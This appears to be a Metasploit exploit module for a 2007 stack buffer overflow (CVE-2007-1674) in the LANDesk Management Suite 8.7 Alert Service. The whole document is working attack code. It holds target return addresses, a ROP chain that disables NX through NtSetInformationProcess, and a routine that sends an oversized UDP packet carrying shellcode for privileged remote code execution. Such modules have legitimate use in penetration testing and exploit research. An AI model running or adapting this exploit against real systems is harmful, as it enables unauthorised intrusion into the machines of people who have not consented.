LANDesk Management Suite 8.7 – Alert Service Buffer Overflow (Metasploit)
## # $Id: landesk_aolnsrvr.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Udp def initialize(info = {}) super(update_info(info, 'Name' => 'LANDesk Management Suite 8.7 Alert Service Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in LANDesk Management Suite 8.7. By sending an overly long string to the Alert Service, a buffer is overwritten and arbitrary code can be executed. }, 'Author' => 'MC', 'Version' => '$Revision: 9262 $', 'References' => [ ['CVE', '2007-1674'], ['OSVDB', '34964'], ['URL', 'http://www.tippingpoint.com/security/advisories/TSRT-07-04.html'], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 336, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ # Aolnsrvr 4.0 [ 'Alerting Proxy 2000/2003/XP', { 'Ret' => 0x00423554 } ], [ 'Alerting Proxy 2003 SP1-2 (NX support)', { 'IB' => 0x00400000, 'ProcessInfo' => 0xed } ], [ 'Alerting Proxy XP SP2 (NX support)', { 'IB' => 0x00400000, 'ProcessInfo' => 0xe4 } ], ], 'Privileged' => true, 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 13 2007')) register_options([Opt::RPORT(65535)], self.class) end def exploit connect_udp if (target.name =~ /NX/) txt = Rex::Text.rand_text_alphanumeric(1024) ib = target['IB'] # to bypass NX we need to emulate the call to ZwSetInformationProcess # with generic value (to work on 2k3 SP1-SP2 - XP SP2) # first we set esi to 0xed by getting the value on the stack # # 0x00401b46: # pop esi <- esi = edh # retn txt[ 280, 4 ] = [ib + 0x1b46].pack('V') txt[ 296, 4] = [0xed].pack('V') # now we set ecx to 0x7ffe0300, eax to 0xed # 0x00401b43: # pop ecx <- ecx = 0x7ffe0300 - 0xFF0 # mov eax, esi <- eax == edh # pop esi <- 0x45b4ea (data section) # retn txt[ 300, 4] = [ib + 0x1b43].pack('V') txt[ 304, 4] = [0x7ffe0300 - 0xff0].pack('V') txt[ 308, 4] = [ib + 0x5b4ea].pack('V') # we set edx to 0x7FFe300 (ecx + 0xff0) # 0x004106b1: # lea edx, [ecx+0ff0h] # mov [esi+4], edx # mov [esi+8], edi # pop edi # mov [esi+0Ch], eax # pop esi # retn txt[ 312, 4] = [ib + 0x106b1].pack('V') # finally we call NtSetInformationProcess (-1, target['ProcessInfo'], ib+0x4ec84, 4) # 0x0044ec84 is a pointer to 0x2 to disable NX # 0x0042a28e: # call dword ptr [edx] # mov esi, eax # mov eax, esi # pop edi # pop esi # pop ebp # pop ebx # add esp, 134h # retn 1Ch txt[ 324, 4] = [ib + 0x2a28e].pack('V') # call dword ptr[ecx] txt[ 332, 16] = [-1, 34, 0x0044ec84, 4].pack('VVVV') # we catch the second exception to go back to our shellcode, now that # NX is disabled txt[ 652, 4 ] = [ib + 0x23554].pack('V') # (jmp esp in atl.dll) txt[ 684, payload.encoded.length ] = payload.encoded else # One-shot overwrite =( txt = rand_text_alphanumeric(280) + [target.ret].pack('V') + payload.encoded end print_status("Trying target #{target.name}...") udp_sock.put(txt) handler(udp_sock) disconnect_udp end end |